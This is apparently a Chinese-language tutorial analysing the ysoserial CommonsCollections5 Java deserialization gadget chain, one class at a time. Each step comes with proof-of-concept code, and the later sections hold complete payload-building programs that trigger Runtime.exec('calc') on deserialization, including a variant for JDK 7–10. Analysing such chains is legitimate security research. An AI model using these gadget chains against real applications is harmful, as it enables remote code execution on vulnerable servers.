Java 反序列化系列二:ysoserial-CommonsCollections5 利用链分析
ysoserial 给出的调用如下:
Gadget chain: ObjectInputStream.readObject() BadAttributeValueExpException.readObject() TiedMapEntry.toString() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec()
一:InvokerTransformer.transform()
先从最低端去分析代码
org\apache\commons\collections\functors\InvokerTransformer#InvokerTransformer 构造函数
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { this.iMethodName = methodName; this.iParamTypes = paramTypes; this.iArgs = args; }
org\apache\commons\collections\functors\InvokerTransformer#transform 方法
public Object transform(Object input) { if (input == null) { return null; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this.iMethodName, this.iParamTypes); return method.invoke(input, this.iArgs); } catch (NoSuchMethodException var5) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException var6) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException var7) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7); } } }
那么调用了此类然后调用了此类的方法, 就是通过反射的方式调用了自己类的方法。例如:Runtime 执行命令。
package cn.o2oxy; import org.apache.commons.collections.functors.InvokerTransformer; public class test2 { public static void main(String[] args) throws Exception{ Runtime runtime1 = Runtime.getRuntime(); runtime1.exec("calc"); InvokerTransformer i2 = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}); i2.transform(runtime1); } }
那么transform 就是一个类去反射执行他的内部方法。参数根据需要传递的参数进行变量传递即可
二、ChainedTransformer.transform()
org\apache\commons\collections\functors\ChainedTransformer@transform
public ChainedTransformer(Transformer[] transformers) { this.iTransformers = transformers; } public Object transform(Object object) { for(int i = 0; i < this.iTransformers.length; ++i) { object = this.iTransformers[i].transform(object); } return object; }
transform 是for 循环调用transform函数。那么简单的POC如下:
package cn.o2oxy; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; public class test2 { public static void main(String[] args) throws Exception{ InvokerTransformer i1 =new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}); InvokerTransformer i2 = new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{ null,new Object[0] }); InvokerTransformer i3 =new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc"} ); ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{i1,i2,i3}); chainedTransformer.transform(Runtime.class); } }
三、LazyMap.get()
需要找到那个地方调用了ChainedTransformer@transform 那么找到了LazyMap.get()
org\apache\commons\collections\map\LazyMap@decorate 初始化lazymap
public static Map decorate(Map map, Transformer factory) { return new LazyMap(map, factory); }
org\apache\commons\collections\map\LazyMap@get 初始化lazymap
public Object get(Object key) { if (!super.map.containsKey(key)) { Object value = this.factory.transform(key); super.map.put(key, value); return value; } else { return super.map.get(key); } }
这里判断了不存在的时候才会去调用transform 函数。那么poc如下:
package cn.o2oxy; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import java.util.HashMap; import java.util.Map; public class test2 { public static void main(String[] args) throws Exception{ //因为需要放到map 需要一个transform 返回自身的类对象 Transformer c1 = new ConstantTransformer(Runtime.class); //通过反射的反射获取到getRuntime() 无参对象 InvokerTransformer i1 =new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}); //通过反射调用Runtime.getRuntime() 函数 InvokerTransformer i2 = new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{ null,new Object[0] }); // 通过调用 反射调用 Runtime.getRuntime().exec("calc") InvokerTransformer i3 =new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc"} ); //写入到ChainedTransformer -->this.iTransformers ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{c1,i1,i2,i3}); //chainedTransformer.transform(Runtime.class); HashMap map =new HashMap(); Map lazyMap = LazyMap.decorate(map, chainedTransformer); //循环调用ChainedTransformer.iTransformers 依次调用 c1 i1 i2 i3 lazyMap.get("adadad"); } }
四、TiedMapEntry.toString()
只需要找到谁调用了LazyMap.get() 方法就行了
org\apache\commons\collections\keyvalue\TiedMapEntry@TiedMapEntry 构造方法
public TiedMapEntry(Map map, Object key) { this.map = map; this.key = key; }
org\apache\commons\collections\keyvalue\TiedMapEntry@toString 方法
public String toString() { return this.getKey() + "=" + this.getValue(); } public Object getValue() { return this.map.get(this.key); }
toString –>getValue()–>map.get(key)–>chainedTransformer.transform–>InvokerTransformer.transform
五、BadAttributeValueExpException.readObject()
他没有继承Serializable 但是他的父类继承了Serializable 【所以是能序列化的】
BadAttributeValueExpException extends Exception extends Throwable implements Serializable
javax\management\BadAttributeValueExpException#readObject
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val", null); if (valObj == null) { val = null; } else if (valObj instanceof String) { val= valObj; } else if (System.getSecurityManager() == null || valObj instanceof Long || valObj instanceof Integer || valObj instanceof Float || valObj instanceof Double || valObj instanceof Byte || valObj instanceof Short || valObj instanceof Boolean) { val = valObj.toString(); } else { // the serialized object is from a version without JDK-8019292 fix val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); } }
那么整体的流程就是
BadAttributeValueExpException.readObject–>toString –>getValue()–>map.get(key)–>chainedTransformer.transform–>InvokerTransformer.transform
具体的代码如下:
package cn.o2oxy; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import ysoserial.Deserializer; import ysoserial.Serializer; import ysoserial.payloads.util.Reflections; import javax.management.BadAttributeValueExpException; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map; public class test2 { public static void main(String[] args) throws Exception{ //因为需要放到map 需要一个transform 返回自身的类对象 Transformer c1 = new ConstantTransformer(Runtime.class); Transformer c2 = new ConstantTransformer("2"); InvokerTransformer i1 =new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}); InvokerTransformer i2 = new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{ null,new Object[0] }); InvokerTransformer i3 =new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc"} ); Transformer transformerChain2 = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1) }); HashMap map =new HashMap(); Map lazyMap = LazyMap.decorate(map, transformerChain2); lazyMap.get("addddddddddddd"); TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo222"); BadAttributeValueExpException val = new BadAttributeValueExpException(null); Field valfield = val.getClass().getDeclaredField("val"); Reflections.setAccessible(valfield); valfield.set(val, entry); Reflections.setFieldValue(entry, "key", "dongta1i"); // arm with actual transformer chain Reflections.setFieldValue(transformerChain2, "iTransformers", new Transformer[]{c1,i1,i2,i3,c2}); // arm with actual transformer chain Deserializer.deserialize(Serializer.serialize(val)); } }
六、兼容JDK 7 8 9 10 版本的链
package cn.o2oxy; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import ysoserial.Deserializer; import ysoserial.Serializer; import ysoserial.payloads.util.Reflections; import java.util.HashMap; import java.util.Map; public class test2 { public static void main(String[] args) throws Exception{ //因为需要放到map 需要一个transform 返回自身的类对象 Transformer c1 = new ConstantTransformer(Runtime.class); Transformer c2 = new ConstantTransformer("2"); InvokerTransformer i1 =new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}); InvokerTransformer i2 = new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{ null,new Object[0] }); InvokerTransformer i3 =new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc"} ); Transformer transformerChain2 = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1) }); HashMap map =new HashMap(); Map lazyMap = LazyMap.decorate(map, transformerChain2); lazyMap.get("addddddddddddd"); TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo222"); HashMap ht = new HashMap(); ht.put(entry, "url"); Reflections.setFieldValue(entry, "key", "dongta1i"); // arm with actual transformer chain Reflections.setFieldValue(transformerChain2, "iTransformers", new Transformer[]{c1,i1,i2,i3,c2}); // arm with actual transformer chain Deserializer.deserialize(Serializer.serialize(ht)); } }